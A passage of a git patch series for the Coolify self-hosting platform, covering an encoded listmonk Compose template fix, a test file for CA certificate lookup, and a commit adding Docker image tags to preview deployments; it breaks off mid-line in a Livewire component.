PSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE4LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX0RCPWxpc3Rtb25rCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogICAgICAtIFRaPUV0Yy9VVEMKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xpc3Rtb25rLWRhdGE6L2xpc3Rtb25rL3VwbG9hZHMnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6OTAwMCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBsaXN0bW9uay1pbml0aWFsLWRhdGFiYXNlLXNldHVwOgogICAgaW1hZ2U6ICdsaXN0bW9uay9saXN0bW9uazp2Ni4wLjAnCiAgICBjb21tYW5kOiAnLi9saXN0bW9uayAtLWluc3RhbGwgLS15ZXMgLS1pZGVtcG90ZW50JwogICAgcmVzdGFydDogJ25vJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RNT05LX2RiX19ob3N0PXBvc3RncmVzCiAgICAgIC0gTElTVE1PTktfZGJfX2RhdGFiYXNlPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "newsletter", "mailing list", diff --git a/tests/Feature/SslCertificateRegenerationTest.php b/tests/Feature/SslCertificateRegenerationTest.php new file mode 100644 index 000000000..06d312935 --- /dev/null +++ b/tests/Feature/SslCertificateRegenerationTest.php @@ -0,0 +1,82 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); +}); + +test('server with no CA certificate returns null from sslCertificates query', function () { + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->toBeNull(); +}); + +test('accessing property on null CA cert throws an error', function () { + // This test verifies the exact scenario that caused the 500 error: + // querying for a CA cert on a server that has none, then trying to access properties + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->toBeNull(); + + // Without the fix, the code would do: + // caCert: $caCert->ssl_certificate <-- 500 error + expect(fn () => $caCert->ssl_certificate) + ->toThrow(ErrorException::class); +}); + +test('CA certificate can be retrieved when it exists on the server', function () { + // Create a CA certificate directly (simulating what generateCaCertificate does) + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => true, + 'ssl_certificate' => 'test-ca-cert', + 'ssl_private_key' => 'test-ca-key', + 'common_name' => 'Coolify CA Certificate', + 'valid_until' => now()->addYears(10), + ]); + + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + expect($caCert)->not->toBeNull() + ->and($caCert->is_ca_certificate)->toBeTruthy() + ->and($caCert->ssl_certificate)->toBe('test-ca-cert') + ->and($caCert->ssl_private_key)->toBe('test-ca-key'); +}); + +test('non-CA certificate is not returned when querying for CA certificate', function () { + // Create only a regular (non-CA) certificate + SslCertificate::create([ + 'server_id' => $this->server->id, + 'is_ca_certificate' => false, + 'ssl_certificate' => 'test-cert', + 'ssl_private_key' => 'test-key', + 'common_name' => 'test-db-uuid', + 'valid_until' => now()->addYear(), + ]); + + $caCert = $this->server->sslCertificates() + ->where('is_ca_certificate', true) + ->first(); + + // The CA cert query should return null since only a regular cert exists + expect($caCert)->toBeNull(); +}); From 61f47cc7ee0ddf944e39f3c10cafa089d458d51a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 30 Mar 2026 13:35:35 +0200 Subject: [PATCH 85/95] feat(deployments): support Docker image tags for preview deployments Add end-to-end support for `docker_registry_image_tag` in preview and deployment queue flows. - Extend deploy API to accept `pull_request_id` alias and `docker_tag` for preview deploys - Persist preview-specific Docker tags on `application_previews` and `application_deployment_queues` - Pass tag through `queue_application_deployment()` and de-duplicate queued jobs by tag - Update deployment job logic to resolve and use preview Docker tags for dockerimage build packs - Update Livewire previews UI/state to manage per-preview tags and manual preview/tag inputs - Add migration for new tag columns and model fillable/casts updates - Add feature and unit tests covering API behavior and tag resolution --- app/Http/Controllers/Api/DeployController.php | 76 +++++++-- app/Jobs/ApplicationDeploymentJob.php | 34 +++- app/Livewire/Project/Application/Previews.php | 80 ++++++++-- app/Models/ApplicationDeploymentQueue.php | 2 + app/Models/ApplicationPreview.php | 6 + app/Models/DockerCleanupExecution.php | 1 + bootstrap/helpers/applications.php | 4 +- ...ication_previews_and_deployment_queues.php | 30 ++++ .../application/configuration.blade.php | 2 +- .../project/application/previews.blade.php | 33 +++- tests/Feature/DockerCleanupJobTest.php | 16 ++ .../DockerImagePreviewDeploymentApiTest.php | 146 ++++++++++++++++++ .../DockerImagePreviewTagResolutionTest.php | 76 +++++++++ 13 files changed, 468 insertions(+), 38 deletions(-) create mode 100644 database/migrations/2026_03_30_120000_add_docker_registry_image_tag_to_application_previews_and_deployment_queues.php create mode 100644 tests/Feature/DockerImagePreviewDeploymentApiTest.php create mode 100644 tests/Unit/DockerImagePreviewTagResolutionTest.php diff --git a/app/Http/Controllers/Api/DeployController.php b/app/Http/Controllers/Api/DeployController.php index e490f3b0c..6ff06c10a 100644 --- a/app/Http/Controllers/Api/DeployController.php +++ b/app/Http/Controllers/Api/DeployController.php @@ -4,12 +4,15 @@ use App\Actions\Database\StartDatabase; use App\Actions\Service\StartService; +use App\Enums\ApplicationDeploymentStatus; use App\Http\Controllers\Controller; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; +use App\Models\ApplicationPreview; use App\Models\Server; use App\Models\Service; use App\Models\Tag; +use Illuminate\Auth\Access\AuthorizationException; use Illuminate\Http\Request; use OpenApi\Attributes as OA; use Visus\Cuid2\Cuid2; @@ -228,8 +231,8 @@ public function cancel_deployment(Request $request) // Check if deployment can be cancelled (must be queued or in_progress) $cancellableStatuses = [ - \App\Enums\ApplicationDeploymentStatus::QUEUED->value, - \App\Enums\ApplicationDeploymentStatus::IN_PROGRESS->value, + ApplicationDeploymentStatus::QUEUED->value, + ApplicationDeploymentStatus::IN_PROGRESS->value, ]; if (! in_array($deployment->status, $cancellableStatuses)) { @@ -246,7 +249,7 @@ public function cancel_deployment(Request $request) // Mark deployment as cancelled $deployment->update([ - 'status' => \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value, + 'status' => ApplicationDeploymentStatus::CANCELLED_BY_USER->value, ]); // Get the server @@ -304,6 +307,8 @@ public function cancel_deployment(Request $request) new OA\Parameter(name: 'uuid', in: 'query', description: 'Resource UUID(s). Comma separated list is also accepted.', schema: new OA\Schema(type: 'string')), new OA\Parameter(name: 'force', in: 'query', description: 'Force rebuild (without cache)', schema: new OA\Schema(type: 'boolean')), new OA\Parameter(name: 'pr', in: 'query', description: 'Pull Request Id for deploying specific PR builds. Cannot be used with tag parameter.', schema: new OA\Schema(type: 'integer')), + new OA\Parameter(name: 'pull_request_id', in: 'query', description: 'Preview deployment identifier. Alias of pr.', schema: new OA\Schema(type: 'integer')), + new OA\Parameter(name: 'docker_tag', in: 'query', description: 'Docker image tag for Docker Image preview deployments. Requires pull_request_id.', schema: new OA\Schema(type: 'string')), ], responses: [ @@ -354,7 +359,9 @@ public function deploy(Request $request) $uuids = $request->input('uuid'); $tags = $request->input('tag'); $force = $request->input('force') ?? false; - $pr = $request->input('pr') ? max((int) $request->input('pr'), 0) : 0; + $pullRequestId = $request->input('pull_request_id', $request->input('pr')); + $pr = $pullRequestId ? max((int) $pullRequestId, 0) : 0; + $dockerTag = $request->string('docker_tag')->trim()->value() ?: null; if ($uuids && $tags) { return response()->json(['message' => 'You can only use uuid or tag, not both.'], 400); @@ -362,16 +369,22 @@ public function deploy(Request $request) if ($tags && $pr) { return response()->json(['message' => 'You can only use tag or pr, not both.'], 400); } + if ($dockerTag && $pr === 0) { + return response()->json(['message' => 'docker_tag requires pull_request_id.'], 400); + } + if ($dockerTag && $tags) { + return response()->json(['message' => 'You can only use tag or docker_tag, not both.'], 400); + } if ($tags) { return $this->by_tags($tags, $teamId, $force); } elseif ($uuids) { - return $this->by_uuids($uuids, $teamId, $force, $pr); + return $this->by_uuids($uuids, $teamId, $force, $pr, $dockerTag); } return response()->json(['message' => 'You must provide uuid or tag.'], 400); } - private function by_uuids(string $uuid, int $teamId, bool $force = false, int $pr = 0) + private function by_uuids(string $uuid, int $teamId, bool $force = false, int $pr = 0, ?string $dockerTag = null) { $uuids = explode(',', $uuid); $uuids = collect(array_filter($uuids)); @@ -384,15 +397,22 @@ private function by_uuids(string $uuid, int $teamId, bool $force = false, int $p foreach ($uuids as $uuid) { $resource = getResourceByUuid($uuid, $teamId); if ($resource) { + $dockerTagForResource = $dockerTag; if ($pr !== 0) { - $preview = $resource->previews()->where('pull_request_id', $pr)->first(); + $preview = null; + if ($resource instanceof Application && $resource->build_pack === 'dockerimage') { + $preview = $this->upsertDockerImagePreview($resource, $pr, $dockerTag); + $dockerTagForResource = $preview?->docker_registry_image_tag; + } else { + $preview = $resource->previews()->where('pull_request_id', $pr)->first(); + } if (! $preview) { $deployments->push(['message' => "Pull request {$pr} not found for this resource.", 'resource_uuid' => $uuid]); continue; } } - $result = $this->deploy_resource($resource, $force, $pr); + $result = $this->deploy_resource($resource, $force, $pr, $dockerTagForResource); if (isset($result['status']) && $result['status'] === 429) { return response()->json(['message' => $result['message']], 429)->header('Retry-After', 60); } @@ -465,7 +485,7 @@ public function by_tags(string $tags, int $team_id, bool $force = false) return response()->json(['message' => 'No resources found with this tag.'], 404); } - public function deploy_resource($resource, bool $force = false, int $pr = 0): array + public function deploy_resource($resource, bool $force = false, int $pr = 0, ?string $dockerTag = null): array { $message = null; $deployment_uuid = null; @@ -477,9 +497,12 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Check authorization for application deployment try { $this->authorize('deploy', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to deploy this application.', 'deployment_uuid' => null]; } + if ($dockerTag !== null && $resource->build_pack !== 'dockerimage') { + return ['message' => 'docker_tag can only be used with Docker Image applications.', 'deployment_uuid' => null]; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $resource, @@ -487,6 +510,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar force_rebuild: $force, pull_request_id: $pr, is_api: true, + docker_registry_image_tag: $dockerTag, ); if ($result['status'] === 'queue_full') { return ['message' => $result['message'], 'deployment_uuid' => null, 'status' => 429]; @@ -500,7 +524,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Check authorization for service deployment try { $this->authorize('deploy', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to deploy this service.', 'deployment_uuid' => null]; } StartService::run($resource); @@ -510,7 +534,7 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar // Database resource - check authorization try { $this->authorize('manage', $resource); - } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + } catch (AuthorizationException $e) { return ['message' => 'Unauthorized to start this database.', 'deployment_uuid' => null]; } StartDatabase::dispatch($resource); @@ -525,6 +549,34 @@ public function deploy_resource($resource, bool $force = false, int $pr = 0): ar return ['message' => $message, 'deployment_uuid' => $deployment_uuid]; } + private function upsertDockerImagePreview(Application $application, int $pullRequestId, ?string $dockerTag): ?ApplicationPreview + { + $preview = $application->previews()->where('pull_request_id', $pullRequestId)->first(); + + if (! $preview && $dockerTag === null) { + return null; + } + + if (! $preview) { + $preview = ApplicationPreview::create([ + 'application_id' => $application->id, + 'pull_request_id' => $pullRequestId, + 'pull_request_html_url' => '', + 'docker_registry_image_tag' => $dockerTag, + ]); + $preview->generate_preview_fqdn(); + + return $preview; + } + + if ($dockerTag !== null && $preview->docker_registry_image_tag !== $dockerTag) { + $preview->docker_registry_image_tag = $dockerTag; + $preview->save(); + } + + return $preview; + } + #[OA\Get( summary: 'List application deployments', description: 'List application deployments by using the app uuid', diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index dc8bc4374..833e6bfe8 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -76,6 +76,8 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue private ?string $dockerImageTag = null; + private ?string $dockerImagePreviewTag = null; + private GithubApp|GitlabApp|string $source = 'other'; private StandaloneDocker|SwarmDocker $destination; @@ -208,6 +210,7 @@ public function __construct(public int $application_deployment_queue_id) $this->restart_only = $this->application_deployment_queue->restart_only; $this->restart_only = $this->restart_only && $this->application->build_pack !== 'dockerimage' && $this->application->build_pack !== 'dockerfile'; $this->only_this_server = $this->application_deployment_queue->only_this_server; + $this->dockerImagePreviewTag = $this->application_deployment_queue->docker_registry_image_tag; $this->git_type = data_get($this->application_deployment_queue, 'git_type'); @@ -246,6 +249,9 @@ public function __construct(public int $application_deployment_queue_id) // Set preview fqdn if ($this->pull_request_id !== 0) { $this->preview = ApplicationPreview::findPreviewByApplicationAndPullId($this->application->id, $this->pull_request_id); + if ($this->application->build_pack === 'dockerimage' && str($this->dockerImagePreviewTag)->isEmpty()) { + $this->dockerImagePreviewTag = $this->preview?->docker_registry_image_tag; + } if ($this->preview) { if ($this->application->build_pack === 'dockercompose') { $this->preview->generate_preview_fqdn_compose(); @@ -466,14 +472,14 @@ private function decide_what_to_do() $this->just_restart(); return; + } elseif ($this->application->build_pack === 'dockerimage') { + $this->deploy_dockerimage_buildpack(); } elseif ($this->pull_request_id !== 0) { $this->deploy_pull_request(); } elseif ($this->application->dockerfile) { $this->deploy_simple_dockerfile(); } elseif ($this->application->build_pack === 'dockercompose') { $this->deploy_docker_compose_buildpack(); - } elseif ($this->application->build_pack === 'dockerimage') { - $this->deploy_dockerimage_buildpack(); } elseif ($this->application->build_pack === 'dockerfile') { $this->deploy_dockerfile_buildpack(); } elseif ($this->application->build_pack === 'static') { @@ -554,11 +560,7 @@ private function deploy_simple_dockerfile() private function deploy_dockerimage_buildpack() { $this->dockerImage = $this->application->docker_registry_image_name; - if (str($this->application->docker_registry_image_tag)->isEmpty()) { - $this->dockerImageTag = 'latest'; - } else { - $this->dockerImageTag = $this->application->docker_registry_image_tag; - } + $this->dockerImageTag = $this->resolveDockerImageTag(); // Check if this is an image hash deployment $isImageHash = str($this->dockerImageTag)->startsWith('sha256-'); @@ -575,6 +577,19 @@ private function deploy_dockerimage_buildpack() $this->rolling_update(); } + private function resolveDockerImageTag(): string + { + if ($this->pull_request_id !== 0 && str($this->dockerImagePreviewTag)->isNotEmpty()) { + return $this->dockerImagePreviewTag; + } + + if (str($this->application->docker_registry_image_tag)->isNotEmpty()) { + return $this->application->docker_registry_image_tag; + } + + return 'latest'; + } + private function deploy_docker_compose_buildpack() { if (data_get($this->application, 'docker_compose_location')) { @@ -1934,6 +1949,11 @@ private function query_logs() private function deploy_pull_request() { + if ($this->application->build_pack === 'dockerimage') { + $this->deploy_dockerimage_buildpack(); + + return; + } if ($this->application->build_pack === 'dockercompose') { $this->deploy_docker_compose_buildpack(); diff --git a/app/Livewire/Project/Application/Previews.php b/app/Livewire/Project/Application/Previews.php index 576df8589..c61a4e4a7 100644 --- a/app/Livewire/Project/Application/Previews.php +++ b/app/Livewire/Project/Application/Previews.php @@ -35,8 +35,17 @@ class Previews extends Component public array $previewFqdns = []; + public array $previewDockerTags = []; + + public ?int $manualPullRequestId = null; + + public ?string $manualDockerTag = null; + protected $rules = [ 'previewFqdns.*' => 'string|nullable', + 'previewDockerTags.*' => 'string|nullable', + 'manualPullRequestId' => 'integer|min:1|nullable', + 'manualDockerTag' => 'string|nullable', ]; public function mount() @@ -53,12 +62,17 @@ private function syncData(bool $toModel = false): void $preview = $this->application->previews->get($key); if ($preview) { $preview->fqdn = $fqdn; + if ($this->application->build_pack === 'dockerimage') { + $preview->docker_registry_image_tag = $this->previewDockerTags[$key] ?? null; + } } } } else { $this->previewFqdns = []; + $this->previewDockerTags = []; foreach ($this->application->previews as $key => $preview) { $this->previewFqdns[$key] = $preview->fqdn; + $this->previewDockerTags[$key] = $preview->docker_registry_image_tag; } } } @@ -174,7 +188,7 @@ public function generate_preview($preview_id) } } - public function add(int $pull_request_id, ?string $pull_request_html_url = null) + public function add(int $pull_request_id, ?string $pull_request_html_url = null, ?string $docker_registry_image_tag = null) { try { $this->authorize('update', $this->application); @@ -195,13 +209,18 @@ public function add(int $pull_request_id, ?string $pull_request_html_url = null) } else { $this->setDeploymentUuid(); $found = ApplicationPreview::where('application_id', $this->application->id)->where('pull_request_id', $pull_request_id)->first(); - if (! $found && ! is_null($pull_request_html_url)) { + if (! $found && (! is_null($pull_request_html_url) || ($this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()))) { $found = ApplicationPreview::forceCreate([ 'application_id' => $this->application->id, 'pull_request_id' => $pull_request_id, - 'pull_request_html_url' => $pull_request_html_url, + 'pull_request_html_url' => $pull_request_html_url ?? '', + 'docker_registry_image_tag' => $docker_registry_image_tag, ]); } + if ($found && $this->application->build_pack === 'dockerimage' && str($docker_registry_image_tag)->isNotEmpty()) { + $found->docker_registry_image_tag = $docker_registry_image_tag; + $found->save(); + } $found->generate_preview_fqdn(); $this->application->refresh(); $this->syncData(false); @@ -217,37 +236,50 @@ public function force_deploy_without_cache(int $pull_request_id, ?string $pull_r { $this->authorize('deploy', $this->application); - $this->deploy($pull_request_id, $pull_request_html_url, force_rebuild: true); + $dockerRegistryImageTag = null; + if 